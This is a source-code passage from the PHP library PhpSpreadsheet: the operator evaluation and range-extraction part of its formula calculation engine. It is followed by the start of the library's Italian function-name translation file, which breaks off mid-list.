// Less than or Equal to case '=': // Equality case '<>': // Inequality $result = $this->executeBinaryComparisonOperation($operand1, $operand2, (string) $token, $stack); if (isset($storeKey)) { $branchStore[$storeKey] = $result; } break; // Binary Operators case ':': // Range if ($operand1Data['type'] === 'Defined Name') { if (preg_match('/$' . self::CALCULATION_REGEXP_DEFINEDNAME . '^/mui', $operand1Data['reference']) !== false && $this->spreadsheet !== null) { $definedName = $this->spreadsheet->getNamedRange($operand1Data['reference']); if ($definedName !== null) { $operand1Data['reference'] = $operand1Data['value'] = str_replace('$', '', $definedName->getValue()); } } } if (str_contains($operand1Data['reference'] ?? '', '!')) { [$sheet1, $operand1Data['reference']] = Worksheet::extractSheetTitle($operand1Data['reference'], true); } else { $sheet1 = ($pCellWorksheet !== null) ? $pCellWorksheet->getTitle() : ''; } $sheet1 ??= ''; [$sheet2, $operand2Data['reference']] = Worksheet::extractSheetTitle($operand2Data['reference'], true); if (empty($sheet2)) { $sheet2 = $sheet1; } if (trim($sheet1, "'") === trim($sheet2, "'")) { if ($operand1Data['reference'] === null && $cell !== null) { if (is_array($operand1Data['value'])) { $operand1Data['reference'] = $cell->getCoordinate(); } elseif ((trim($operand1Data['value']) != '') && (is_numeric($operand1Data['value']))) { $operand1Data['reference'] = $cell->getColumn() . $operand1Data['value']; } elseif (trim($operand1Data['value']) == '') { $operand1Data['reference'] = $cell->getCoordinate(); } else { $operand1Data['reference'] = $operand1Data['value'] . $cell->getRow(); } } if ($operand2Data['reference'] === null && $cell !== null) { if (is_array($operand2Data['value'])) { $operand2Data['reference'] = $cell->getCoordinate(); } elseif ((trim($operand2Data['value']) != '') && (is_numeric($operand2Data['value']))) { $operand2Data['reference'] = $cell->getColumn() . $operand2Data['value']; } elseif (trim($operand2Data['value']) == '') { $operand2Data['reference'] = $cell->getCoordinate(); } else { $operand2Data['reference'] = $operand2Data['value'] . $cell->getRow(); } } $oData = array_merge(explode(':', $operand1Data['reference'] ?? ''), explode(':', $operand2Data['reference'] ?? '')); $oCol = $oRow = []; $breakNeeded = false; foreach ($oData as $oDatum) { try { $oCR = Coordinate::coordinateFromString($oDatum); $oCol[] = Coordinate::columnIndexFromString($oCR[0]) - 1; $oRow[] = $oCR[1]; } catch (\Exception) { $stack->push('Error', ExcelError::REF(), null); $breakNeeded = true; break; } } if ($breakNeeded) { break; } $cellRef = Coordinate::stringFromColumnIndex(min($oCol) + 1) . min($oRow) . ':' . Coordinate::stringFromColumnIndex(max($oCol) + 1) . max($oRow); if ($pCellParent !== null && $this->spreadsheet !== null) { $cellValue = $this->extractCellRange($cellRef, $this->spreadsheet->getSheetByName($sheet1), false); } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($cellValue)); $stack->push('Cell Reference', $cellValue, $cellRef); } else { $this->debugLog->writeDebugLog('Evaluation Result is a #REF! Error'); $stack->push('Error', ExcelError::REF(), null); } break; case '+': // Addition case '-': // Subtraction case '*': // Multiplication case '/': // Division case '^': // Exponential $result = $this->executeNumericBinaryOperation($operand1, $operand2, $token, $stack); if (isset($storeKey)) { $branchStore[$storeKey] = $result; } break; case '&': // Concatenation // If either of the operands is a matrix, we need to treat them both as matrices // (converting the other operand to a matrix if need be); then perform the required // matrix operation $operand1 = self::boolToString($operand1); $operand2 = self::boolToString($operand2); if (is_array($operand1) || is_array($operand2)) { if (is_string($operand1)) { $operand1 = self::unwrapResult($operand1); } if (is_string($operand2)) { $operand2 = self::unwrapResult($operand2); } // Ensure that both operands are arrays/matrices [$rows, $columns] = self::checkMatrixOperands($operand1, $operand2, 2); for ($row = 0; $row < $rows; ++$row) { for ($column = 0; $column < $columns; ++$column) { $operand1[$row][$column] = Shared\StringHelper::substring( self::boolToString($operand1[$row][$column]) . self::boolToString($operand2[$row][$column]), 0, DataType::MAX_STRING_LENGTH ); } } $result = $operand1; } else { // In theory, we should truncate here. // But I can't figure out a formula // using the concatenation operator // with literals that fits in 32K, // so I don't think we can overflow here. $result = self::FORMULA_STRING_QUOTE . str_replace('""', self::FORMULA_STRING_QUOTE, self::unwrapResult($operand1) . self::unwrapResult($operand2)) . self::FORMULA_STRING_QUOTE; } $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($result)); $stack->push('Value', $result); if (isset($storeKey)) { $branchStore[$storeKey] = $result; } break; case '∩': // Intersect $rowIntersect = array_intersect_key($operand1, $operand2); $cellIntersect = $oCol = $oRow = []; foreach (array_keys($rowIntersect) as $row) { $oRow[] = $row; foreach ($rowIntersect[$row] as $col => $data) { $oCol[] = Coordinate::columnIndexFromString($col) - 1; $cellIntersect[$row] = array_intersect_key($operand1[$row], $operand2[$row]); } } if (count(Functions::flattenArray($cellIntersect)) === 0) { $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($cellIntersect)); $stack->push('Error', ExcelError::null(), null); } else { $cellRef = Coordinate::stringFromColumnIndex(min($oCol) + 1) . min($oRow) . ':' . Coordinate::stringFromColumnIndex(max($oCol) + 1) . max($oRow); $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($cellIntersect)); $stack->push('Value', $cellIntersect, $cellRef); } break; } } elseif (($token === '~') || ($token === '%')) { // if the token is a unary operator, pop one value off the stack, do the operation, and push it back on if (($arg = $stack->pop()) === null) { return $this->raiseFormulaError('Internal error - Operand value missing from stack'); } $arg = $arg['value']; if ($token === '~') { $this->debugLog->writeDebugLog('Evaluating Negation of %s', $this->showValue($arg)); $multiplier = -1; } else { $this->debugLog->writeDebugLog('Evaluating Percentile of %s', $this->showValue($arg)); $multiplier = 0.01; } if (is_array($arg)) { $operand2 = $multiplier; $result = $arg; [$rows, $columns] = self::checkMatrixOperands($result, $operand2, 0); for ($row = 0; $row < $rows; ++$row) { for ($column = 0; $column < $columns; ++$column) { if (self::isNumericOrBool($result[$row][$column])) { $result[$row][$column] *= $multiplier; } else { $result[$row][$column] = self::makeError($result[$row][$column]); } } } $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($result)); $stack->push('Value', $result); if (isset($storeKey)) { $branchStore[$storeKey] = $result; } } else { $this->executeNumericBinaryOperation($multiplier, $arg, '*', $stack); } } elseif (preg_match('/^' . self::CALCULATION_REGEXP_CELLREF . '$/i', $token ?? '', $matches)) { $cellRef = null; if (isset($matches[8])) { if ($cell === null) { // We can't access the range, so return a REF error $cellValue = ExcelError::REF(); } else { $cellRef = $matches[6] . $matches[7] . ':' . $matches[9] . $matches[10]; if ($matches[2] > '') { $matches[2] = trim($matches[2], "\"'"); if ((str_contains($matches[2], '[')) || (str_contains($matches[2], ']'))) { // It's a Reference to an external spreadsheet (not currently supported) return $this->raiseFormulaError('Unable to access External Workbook'); } $matches[2] = trim($matches[2], "\"'"); $this->debugLog->writeDebugLog('Evaluating Cell Range %s in worksheet %s', $cellRef, $matches[2]); if ($pCellParent !== null && $this->spreadsheet !== null) { $cellValue = $this->extractCellRange($cellRef, $this->spreadsheet->getSheetByName($matches[2]), false); } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $this->debugLog->writeDebugLog('Evaluation Result for cells %s in worksheet %s is %s', $cellRef, $matches[2], $this->showTypeDetails($cellValue)); } else { $this->debugLog->writeDebugLog('Evaluating Cell Range %s in current worksheet', $cellRef); if ($pCellParent !== null) { $cellValue = $this->extractCellRange($cellRef, $pCellWorksheet, false); } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $this->debugLog->writeDebugLog('Evaluation Result for cells %s is %s', $cellRef, $this->showTypeDetails($cellValue)); } } } else { if ($cell === null) { // We can't access the cell, so return a REF error $cellValue = ExcelError::REF(); } else { $cellRef = $matches[6] . $matches[7]; if ($matches[2] > '') { $matches[2] = trim($matches[2], "\"'"); if ((str_contains($matches[2], '[')) || (str_contains($matches[2], ']'))) { // It's a Reference to an external spreadsheet (not currently supported) return $this->raiseFormulaError('Unable to access External Workbook'); } $this->debugLog->writeDebugLog('Evaluating Cell %s in worksheet %s', $cellRef, $matches[2]); if ($pCellParent !== null && $this->spreadsheet !== null) { $cellSheet = $this->spreadsheet->getSheetByName($matches[2]); if ($cellSheet && $cellSheet->cellExists($cellRef)) { $cellValue = $this->extractCellRange($cellRef, $this->spreadsheet->getSheetByName($matches[2]), false); $cell->attach($pCellParent); } else { $cellRef = ($cellSheet !== null) ? "'{$matches[2]}'!{$cellRef}" : $cellRef; $cellValue = ($cellSheet !== null) ? null : ExcelError::REF(); } } else { return $this->raiseFormulaError('Unable to access Cell Reference'); } $this->debugLog->writeDebugLog('Evaluation Result for cell %s in worksheet %s is %s', $cellRef, $matches[2], $this->showTypeDetails($cellValue)); } else { $this->debugLog->writeDebugLog('Evaluating Cell %s in current worksheet', $cellRef); if ($pCellParent !== null && $pCellParent->has($cellRef)) { $cellValue = $this->extractCellRange($cellRef, $pCellWorksheet, false); $cell->attach($pCellParent); } else { $cellValue = null; } $this->debugLog->writeDebugLog('Evaluation Result for cell %s is %s', $cellRef, $this->showTypeDetails($cellValue)); } } } $stack->push('Cell Value', $cellValue, $cellRef); if (isset($storeKey)) { $branchStore[$storeKey] = $cellValue; } } elseif (preg_match('/^' . self::CALCULATION_REGEXP_FUNCTION . '$/miu', $token ?? '', $matches)) { // if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on if ($cell !== null && $pCellParent !== null) { $cell->attach($pCellParent); } $functionName = $matches[1]; $argCount = $stack->pop(); $argCount = $argCount['value']; if ($functionName !== 'MKMATRIX') { $this->debugLog->writeDebugLog('Evaluating Function %s() with %s argument%s', self::localeFunc($functionName), (($argCount == 0) ? 'no' : $argCount), (($argCount == 1) ? '' : 's')); } if ((isset(self::$phpSpreadsheetFunctions[$functionName])) || (isset(self::$controlFunctions[$functionName]))) { // function $passByReference = false; $passCellReference = false; $functionCall = null; if (isset(self::$phpSpreadsheetFunctions[$functionName])) { $functionCall = self::$phpSpreadsheetFunctions[$functionName]['functionCall']; $passByReference = isset(self::$phpSpreadsheetFunctions[$functionName]['passByReference']); $passCellReference = isset(self::$phpSpreadsheetFunctions[$functionName]['passCellReference']); } elseif (isset(self::$controlFunctions[$functionName])) { $functionCall = self::$controlFunctions[$functionName]['functionCall']; $passByReference = isset(self::$controlFunctions[$functionName]['passByReference']); $passCellReference = isset(self::$controlFunctions[$functionName]['passCellReference']); } // get the arguments for this function $args = $argArrayVals = []; $emptyArguments = []; for ($i = 0; $i < $argCount; ++$i) { $arg = $stack->pop(); $a = $argCount - $i - 1; if ( ($passByReference) && (isset(self::$phpSpreadsheetFunctions[$functionName]['passByReference'][$a])) && (self::$phpSpreadsheetFunctions[$functionName]['passByReference'][$a]) ) { if ($arg['reference'] === null) { $args[] = $cellID; if ($functionName !== 'MKMATRIX') { $argArrayVals[] = $this->showValue($cellID); } } else { $args[] = $arg['reference']; if ($functionName !== 'MKMATRIX') { $argArrayVals[] = $this->showValue($arg['reference']); } } } else { if ($arg['type'] === 'Empty Argument' && in_array($functionName, ['MIN', 'MINA', 'MAX', 'MAXA', 'IF'], true)) { $emptyArguments[] = false; $args[] = $arg['value'] = 0; $this->debugLog->writeDebugLog('Empty Argument reevaluated as 0'); } else { $emptyArguments[] = $arg['type'] === 'Empty Argument'; $args[] = self::unwrapResult($arg['value']); } if ($functionName !== 'MKMATRIX') { $argArrayVals[] = $this->showValue($arg['value']); } } } // Reverse the order of the arguments krsort($args); krsort($emptyArguments); if ($argCount > 0 && is_array($functionCall)) { $args = $this->addDefaultArgumentValues($functionCall, $args, $emptyArguments); } if (($passByReference) && ($argCount == 0)) { $args[] = $cellID; $argArrayVals[] = $this->showValue($cellID); } if ($functionName !== 'MKMATRIX') { if ($this->debugLog->getWriteDebugLog()) { krsort($argArrayVals); $this->debugLog->writeDebugLog('Evaluating %s ( %s )', self::localeFunc($functionName), implode(self::$localeArgumentSeparator . ' ', Functions::flattenArray($argArrayVals))); } } // Process the argument with the appropriate function call $args = $this->addCellReference($args, $passCellReference, $functionCall, $cell); if (!is_array($functionCall)) { foreach ($args as &$arg) { $arg = Functions::flattenSingleValue($arg); } unset($arg); } $result = call_user_func_array($functionCall, $args); if ($functionName !== 'MKMATRIX') { $this->debugLog->writeDebugLog('Evaluation Result for %s() function call is %s', self::localeFunc($functionName), $this->showTypeDetails($result)); } $stack->push('Value', self::wrapResult($result)); if (isset($storeKey)) { $branchStore[$storeKey] = $result; } } } else { // if the token is a number, boolean, string or an Excel error, push it onto the stack if (isset(self::$excelConstants[strtoupper($token ?? '')])) { $excelConstant = strtoupper($token); $stack->push('Constant Value', self::$excelConstants[$excelConstant]); if (isset($storeKey)) { $branchStore[$storeKey] = self::$excelConstants[$excelConstant]; } $this->debugLog->writeDebugLog('Evaluating Constant %s as %s', $excelConstant, $this->showTypeDetails(self::$excelConstants[$excelConstant])); } elseif ((is_numeric($token)) || ($token === null) || (is_bool($token)) || ($token == '') || ($token[0] == self::FORMULA_STRING_QUOTE) || ($token[0] == '#')) { $stack->push($tokenData['type'], $token, $tokenData['reference']); if (isset($storeKey)) { $branchStore[$storeKey] = $token; } } elseif (preg_match('/^' . self::CALCULATION_REGEXP_DEFINEDNAME . '$/miu', $token, $matches)) { // if the token is a named range or formula, evaluate it and push the result onto the stack $definedName = $matches[6]; if ($cell === null || $pCellWorksheet === null) { return $this->raiseFormulaError("undefined name '$token'"); } $this->debugLog->writeDebugLog('Evaluating Defined Name %s', $definedName); $namedRange = DefinedName::resolveName($definedName, $pCellWorksheet); // If not Defined Name, try as Table. if ($namedRange === null && $this->spreadsheet !== null) { $table = $this->spreadsheet->getTableByName($definedName); if ($table !== null) { $tableRange = Coordinate::getRangeBoundaries($table->getRange()); if ($table->getShowHeaderRow()) { ++$tableRange[0][1]; } if ($table->getShowTotalsRow()) { --$tableRange[1][1]; } $tableRangeString = '$' . $tableRange[0][0] . '$' . $tableRange[0][1] . ':' . '$' . $tableRange[1][0] . '$' . $tableRange[1][1]; $namedRange = new NamedRange($definedName, $table->getWorksheet(), $tableRangeString); } } if ($namedRange === null) { return $this->raiseFormulaError("undefined name '$definedName'"); } $result = $this->evaluateDefinedName($cell, $namedRange, $pCellWorksheet, $stack); if (isset($storeKey)) { $branchStore[$storeKey] = $result; } } else { return $this->raiseFormulaError("undefined name '$token'"); } } } // when we're out of tokens, the stack should have a single element, the final result if ($stack->count() != 1) { return $this->raiseFormulaError('internal error'); } $output = $stack->pop(); $output = $output['value']; return $output; } private function validateBinaryOperand(mixed &$operand, mixed &$stack): bool { if (is_array($operand)) { if ((count($operand, COUNT_RECURSIVE) - count($operand)) == 1) { do { $operand = array_pop($operand); } while (is_array($operand)); } } // Numbers, matrices and booleans can pass straight through, as they're already valid if (is_string($operand)) { // We only need special validations for the operand if it is a string // Start by stripping off the quotation marks we use to identify true excel string values internally if ($operand > '' && $operand[0] == self::FORMULA_STRING_QUOTE) { $operand = self::unwrapResult($operand); } // If the string is a numeric value, we treat it as a numeric, so no further testing if (!is_numeric($operand)) { // If not a numeric, test to see if the value is an Excel error, and so can't be used in normal binary operations if ($operand > '' && $operand[0] == '#') { $stack->push('Value', $operand); $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($operand)); return false; } elseif (Engine\FormattedNumber::convertToNumberIfFormatted($operand) === false) { // If not a numeric, a fraction or a percentage, then it's a text string, and so can't be used in mathematical binary operations $stack->push('Error', '#VALUE!'); $this->debugLog->writeDebugLog('Evaluation Result is a %s', $this->showTypeDetails('#VALUE!')); return false; } } } // return a true if the value of the operand is one that we can use in normal binary mathematical operations return true; } private function executeArrayComparison(mixed $operand1, mixed $operand2, string $operation, Stack &$stack, bool $recursingArrays): array { $result = []; if (!is_array($operand2)) { // Operand 1 is an array, Operand 2 is a scalar foreach ($operand1 as $x => $operandData) { $this->debugLog->writeDebugLog('Evaluating Comparison %s %s %s', $this->showValue($operandData), $operation, $this->showValue($operand2)); $this->executeBinaryComparisonOperation($operandData, $operand2, $operation, $stack); $r = $stack->pop(); $result[$x] = $r['value']; } } elseif (!is_array($operand1)) { // Operand 1 is a scalar, Operand 2 is an array foreach ($operand2 as $x => $operandData) { $this->debugLog->writeDebugLog('Evaluating Comparison %s %s %s', $this->showValue($operand1), $operation, $this->showValue($operandData)); $this->executeBinaryComparisonOperation($operand1, $operandData, $operation, $stack); $r = $stack->pop(); $result[$x] = $r['value']; } } else { // Operand 1 and Operand 2 are both arrays if (!$recursingArrays) { self::checkMatrixOperands($operand1, $operand2, 2); } foreach ($operand1 as $x => $operandData) { $this->debugLog->writeDebugLog('Evaluating Comparison %s %s %s', $this->showValue($operandData), $operation, $this->showValue($operand2[$x])); $this->executeBinaryComparisonOperation($operandData, $operand2[$x], $operation, $stack, true); $r = $stack->pop(); $result[$x] = $r['value']; } } // Log the result details $this->debugLog->writeDebugLog('Comparison Evaluation Result is %s', $this->showTypeDetails($result)); // And push the result onto the stack $stack->push('Array', $result); return $result; } private function executeBinaryComparisonOperation(mixed $operand1, mixed $operand2, string $operation, Stack &$stack, bool $recursingArrays = false): array|bool { // If we're dealing with matrix operations, we want a matrix result if ((is_array($operand1)) || (is_array($operand2))) { return $this->executeArrayComparison($operand1, $operand2, $operation, $stack, $recursingArrays); } $result = BinaryComparison::compare($operand1, $operand2, $operation); // Log the result details $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($result)); // And push the result onto the stack $stack->push('Value', $result); return $result; } private function executeNumericBinaryOperation(mixed $operand1, mixed $operand2, string $operation, Stack &$stack): mixed { // Validate the two operands if ( ($this->validateBinaryOperand($operand1, $stack) === false) || ($this->validateBinaryOperand($operand2, $stack) === false) ) { return false; } if ( (Functions::getCompatibilityMode() != Functions::COMPATIBILITY_OPENOFFICE) && ((is_string($operand1) && !is_numeric($operand1) && $operand1 !== '') || (is_string($operand2) && !is_numeric($operand2) && $operand2 !== '')) ) { $result = ExcelError::VALUE(); } elseif (is_array($operand1) || is_array($operand2)) { // Ensure that both operands are arrays/matrices if (is_array($operand1)) { foreach ($operand1 as $key => $value) { $operand1[$key] = Functions::flattenArray($value); } } if (is_array($operand2)) { foreach ($operand2 as $key => $value) { $operand2[$key] = Functions::flattenArray($value); } } [$rows, $columns] = self::checkMatrixOperands($operand1, $operand2, 2); for ($row = 0; $row < $rows; ++$row) { for ($column = 0; $column < $columns; ++$column) { if ($operand1[$row][$column] === null) { $operand1[$row][$column] = 0; } elseif (!self::isNumericOrBool($operand1[$row][$column])) { $operand1[$row][$column] = self::makeError($operand1[$row][$column]); continue; } if ($operand2[$row][$column] === null) { $operand2[$row][$column] = 0; } elseif (!self::isNumericOrBool($operand2[$row][$column])) { $operand1[$row][$column] = self::makeError($operand2[$row][$column]); continue; } switch ($operation) { case '+': $operand1[$row][$column] += $operand2[$row][$column]; break; case '-': $operand1[$row][$column] -= $operand2[$row][$column]; break; case '*': $operand1[$row][$column] *= $operand2[$row][$column]; break; case '/': if ($operand2[$row][$column] == 0) { $operand1[$row][$column] = ExcelError::DIV0(); } else { $operand1[$row][$column] /= $operand2[$row][$column]; } break; case '^': $operand1[$row][$column] = $operand1[$row][$column] ** $operand2[$row][$column]; break; default: throw new Exception('Unsupported numeric binary operation'); } } } $result = $operand1; } else { // If we're dealing with non-matrix operations, execute the necessary operation switch ($operation) { // Addition case '+': $result = $operand1 + $operand2; break; // Subtraction case '-': $result = $operand1 - $operand2; break; // Multiplication case '*': $result = $operand1 * $operand2; break; // Division case '/': if ($operand2 == 0) { // Trap for Divide by Zero error $stack->push('Error', ExcelError::DIV0()); $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails(ExcelError::DIV0())); return false; } $result = $operand1 / $operand2; break; // Power case '^': $result = $operand1 ** $operand2; break; default: throw new Exception('Unsupported numeric binary operation'); } } // Log the result details $this->debugLog->writeDebugLog('Evaluation Result is %s', $this->showTypeDetails($result)); // And push the result onto the stack $stack->push('Value', $result); return $result; } /** * Trigger an error, but nicely, if need be. * * @return false */ protected function raiseFormulaError(string $errorMessage, int $code = 0, ?Throwable $exception = null): bool { $this->formulaError = $errorMessage; $this->cyclicReferenceStack->clear(); $suppress = $this->suppressFormulaErrors ?? $this->suppressFormulaErrorsNew; if (!$suppress) { throw new Exception($errorMessage, $code, $exception); } return false; } /** * Extract range values. * * @param string $range String based range representation * @param ?Worksheet $worksheet Worksheet * @param bool $resetLog Flag indicating whether calculation log should be reset or not * * @return array Array of values in range if range contains more than one element. Otherwise, a single value is returned. */ public function extractCellRange(string &$range = 'A1', ?Worksheet $worksheet = null, bool $resetLog = true): array { // Return value $returnValue = []; if ($worksheet !== null) { $worksheetName = $worksheet->getTitle(); if (str_contains($range, '!')) { [$worksheetName, $range] = Worksheet::extractSheetTitle($range, true); $worksheet = ($this->spreadsheet === null) ? null : $this->spreadsheet->getSheetByName($worksheetName); } // Extract range $aReferences = Coordinate::extractAllCellReferencesInRange($range); $range = "'" . $worksheetName . "'" . '!' . $range; $currentCol = ''; $currentRow = 0; if (!isset($aReferences[1])) { // Single cell in range sscanf($aReferences[0], '%[A-Z]%d', $currentCol, $currentRow); if ($worksheet !== null && $worksheet->cellExists($aReferences[0])) { $returnValue[$currentRow][$currentCol] = $worksheet->getCell($aReferences[0])->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } else { // Extract cell data for all cells in the range foreach ($aReferences as $reference) { // Extract range sscanf($reference, '%[A-Z]%d', $currentCol, $currentRow); if ($worksheet !== null && $worksheet->cellExists($reference)) { $returnValue[$currentRow][$currentCol] = $worksheet->getCell($reference)->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } } } return $returnValue; } /** * Extract range values. * * @param string $range String based range representation * @param null|Worksheet $worksheet Worksheet * @param bool $resetLog Flag indicating whether calculation log should be reset or not * * @return array|string Array of values in range if range contains more than one element. Otherwise, a single value is returned. */ public function extractNamedRange(string &$range = 'A1', ?Worksheet $worksheet = null, bool $resetLog = true): string|array { // Return value $returnValue = []; if ($worksheet !== null) { if (str_contains($range, '!')) { [$worksheetName, $range] = Worksheet::extractSheetTitle($range, true); $worksheet = ($this->spreadsheet === null) ? null : $this->spreadsheet->getSheetByName($worksheetName); } // Named range? $namedRange = ($worksheet === null) ? null : DefinedName::resolveName($range, $worksheet); if ($namedRange === null) { return ExcelError::REF(); } $worksheet = $namedRange->getWorksheet(); $range = $namedRange->getValue(); $splitRange = Coordinate::splitRange($range); // Convert row and column references if ($worksheet !== null && ctype_alpha($splitRange[0][0])) { $range = $splitRange[0][0] . '1:' . $splitRange[0][1] . $worksheet->getHighestRow(); } elseif ($worksheet !== null && ctype_digit($splitRange[0][0])) { $range = 'A' . $splitRange[0][0] . ':' . $worksheet->getHighestColumn() . $splitRange[0][1]; } // Extract range $aReferences = Coordinate::extractAllCellReferencesInRange($range); if (!isset($aReferences[1])) { // Single cell (or single column or row) in range [$currentCol, $currentRow] = Coordinate::coordinateFromString($aReferences[0]); if ($worksheet !== null && $worksheet->cellExists($aReferences[0])) { $returnValue[$currentRow][$currentCol] = $worksheet->getCell($aReferences[0])->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } else { // Extract cell data for all cells in the range foreach ($aReferences as $reference) { // Extract range [$currentCol, $currentRow] = Coordinate::coordinateFromString($reference); if ($worksheet !== null && $worksheet->cellExists($reference)) { $returnValue[$currentRow][$currentCol] = $worksheet->getCell($reference)->getCalculatedValue($resetLog); } else { $returnValue[$currentRow][$currentCol] = null; } } } } return $returnValue; } /** * Is a specific function implemented? * * @param string $function Function Name */ public function isImplemented(string $function): bool { $function = strtoupper($function); $notImplemented = !isset(self::$phpSpreadsheetFunctions[$function]) || (is_array(self::$phpSpreadsheetFunctions[$function]['functionCall']) && self::$phpSpreadsheetFunctions[$function]['functionCall'][1] === 'DUMMY'); return !$notImplemented; } /** * Get a list of all implemented functions as an array of function objects. */ public static function getFunctions(): array { return self::$phpSpreadsheetFunctions; } /** * Get a list of implemented Excel function names. */ public function getImplementedFunctionNames(): array { $returnValue = []; foreach (self::$phpSpreadsheetFunctions as $functionName => $function) { if ($this->isImplemented($functionName)) { $returnValue[] = $functionName; } } return $returnValue; } private function addDefaultArgumentValues(array $functionCall, array $args, array $emptyArguments): array { $reflector = new ReflectionMethod($functionCall[0], $functionCall[1]); $methodArguments = $reflector->getParameters(); if (count($methodArguments) > 0) { // Apply any defaults for empty argument values foreach ($emptyArguments as $argumentId => $isArgumentEmpty) { if ($isArgumentEmpty === true) { $reflectedArgumentId = count($args) - (int) $argumentId - 1; if ( !array_key_exists($reflectedArgumentId, $methodArguments) || $methodArguments[$reflectedArgumentId]->isVariadic() ) { break; } $args[$argumentId] = $this->getArgumentDefaultValue($methodArguments[$reflectedArgumentId]); } } } return $args; } private function getArgumentDefaultValue(ReflectionParameter $methodArgument): mixed { $defaultValue = null; if ($methodArgument->isDefaultValueAvailable()) { $defaultValue = $methodArgument->getDefaultValue(); if ($methodArgument->isDefaultValueConstant()) { $constantName = $methodArgument->getDefaultValueConstantName() ?? ''; // read constant value if (str_contains($constantName, '::')) { [$className, $constantName] = explode('::', $constantName); $constantReflector = new ReflectionClassConstant($className, $constantName); return $constantReflector->getValue(); } return constant($constantName); } } return $defaultValue; } /** * Add cell reference if needed while making sure that it is the last argument. */ private function addCellReference(array $args, bool $passCellReference, array|string $functionCall, ?Cell $cell = null): array { if ($passCellReference) { if (is_array($functionCall)) { $className = $functionCall[0]; $methodName = $functionCall[1]; $reflectionMethod = new ReflectionMethod($className, $methodName); $argumentCount = count($reflectionMethod->getParameters()); while (count($args) < $argumentCount - 1) { $args[] = null; } } $args[] = $cell; } return $args; } private function evaluateDefinedName(Cell $cell, DefinedName $namedRange, Worksheet $cellWorksheet, Stack $stack): mixed { $definedNameScope = $namedRange->getScope(); if ($definedNameScope !== null && $definedNameScope !== $cellWorksheet) { // The defined name isn't in our current scope, so #REF $result = ExcelError::REF(); $stack->push('Error', $result, $namedRange->getName()); return $result; } $definedNameValue = $namedRange->getValue(); $definedNameType = $namedRange->isFormula() ? 'Formula' : 'Range'; $definedNameWorksheet = $namedRange->getWorksheet(); if ($definedNameValue[0] !== '=') { $definedNameValue = '=' . $definedNameValue; } $this->debugLog->writeDebugLog('Defined Name is a %s with a value of %s', $definedNameType, $definedNameValue); $originalCoordinate = $cell->getCoordinate(); $recursiveCalculationCell = ($definedNameType !== 'Formula' && $definedNameWorksheet !== null && $definedNameWorksheet !== $cellWorksheet) ? $definedNameWorksheet->getCell('A1') : $cell; $recursiveCalculationCellAddress = $recursiveCalculationCell->getCoordinate(); // Adjust relative references in ranges and formulae so that we execute the calculation for the correct rows and columns $definedNameValue = self::$referenceHelper->updateFormulaReferencesAnyWorksheet( $definedNameValue, Coordinate::columnIndexFromString($cell->getColumn()) - 1, $cell->getRow() - 1 ); $this->debugLog->writeDebugLog('Value adjusted for relative references is %s', $definedNameValue); $recursiveCalculator = new self($this->spreadsheet); $recursiveCalculator->getDebugLog()->setWriteDebugLog($this->getDebugLog()->getWriteDebugLog()); $recursiveCalculator->getDebugLog()->setEchoDebugLog($this->getDebugLog()->getEchoDebugLog()); $result = $recursiveCalculator->_calculateFormulaValue($definedNameValue, $recursiveCalculationCellAddress, $recursiveCalculationCell, true); $cellWorksheet->getCell($originalCoordinate); if ($this->getDebugLog()->getWriteDebugLog()) { $this->debugLog->mergeDebugLog(array_slice($recursiveCalculator->getDebugLog()->getLog(), 3)); $this->debugLog->writeDebugLog('Evaluation Result for Named %s %s is %s', $definedNameType, $namedRange->getName(), $this->showTypeDetails($result)); } $stack->push('Defined Name', $result, $namedRange->getName()); return $result; } public function setSuppressFormulaErrors(bool $suppressFormulaErrors): void { $this->suppressFormulaErrorsNew = $suppressFormulaErrors; } public function getSuppressFormulaErrors(): bool { return $this->suppressFormulaErrorsNew; } private static function boolToString(mixed $operand1): mixed { if (is_bool($operand1)) { $operand1 = ($operand1) ? self::$localeBoolean['TRUE'] : self::$localeBoolean['FALSE']; } elseif ($operand1 === null) { $operand1 = ''; } return $operand1; } private static function isNumericOrBool(mixed $operand): bool { return is_numeric($operand) || is_bool($operand); } private static function makeError(mixed $operand = ''): string { return Information\ErrorValue::isError($operand) ? $operand : ExcelError::VALUE(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/it/functions000064400000025234151676714400023321 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Italiano (Italian) ## ############################################################ ## ## Funzioni cubo (Cube Functions) ## CUBEKPIMEMBER = MEMBRO.KPI.CUBO CUBEMEMBER = MEMBRO.CUBO CUBEMEMBERPROPERTY = PROPRIETÀ.MEMBRO.CUBO CUBERANKEDMEMBER = MEMBRO.CUBO.CON.RANGO CUBESET = SET.CUBO CUBESETCOUNT = CONTA.SET.CUBO CUBEVALUE = VALORE.CUBO ## ## Funzioni di database (Database Functions) ## DAVERAGE = DB.MEDIA DCOUNT = DB.CONTA.NUMERI DCOUNTA = DB.CONTA.VALORI DGET = DB.VALORI DMAX = DB.MAX DMIN = DB.MIN DPRODUCT = DB.PRODOTTO DSTDEV = DB.DEV.ST DSTDEVP = DB.DEV.ST.POP DSUM = DB.SOMMA DVAR = DB.VAR DVARP = DB.VAR.POP ## ## Funzioni data e ora (Date & Time Functions) ## DATE = DATA DATEDIF = DATA.DIFF DATESTRING = DATA.STRINGA DATEVALUE = DATA.VALORE DAY = GIORNO DAYS = GIORNI DAYS360 = GIORNO360 EDATE = DATA.MESE EOMONTH = FINE.MESE HOUR = ORA ISOWEEKNUM = NUM.SETTIMANA.ISO MINUTE = MINUTO MONTH = MESE NETWORKDAYS = GIORNI.LAVORATIVI.TOT NETWORKDAYS.INTL = 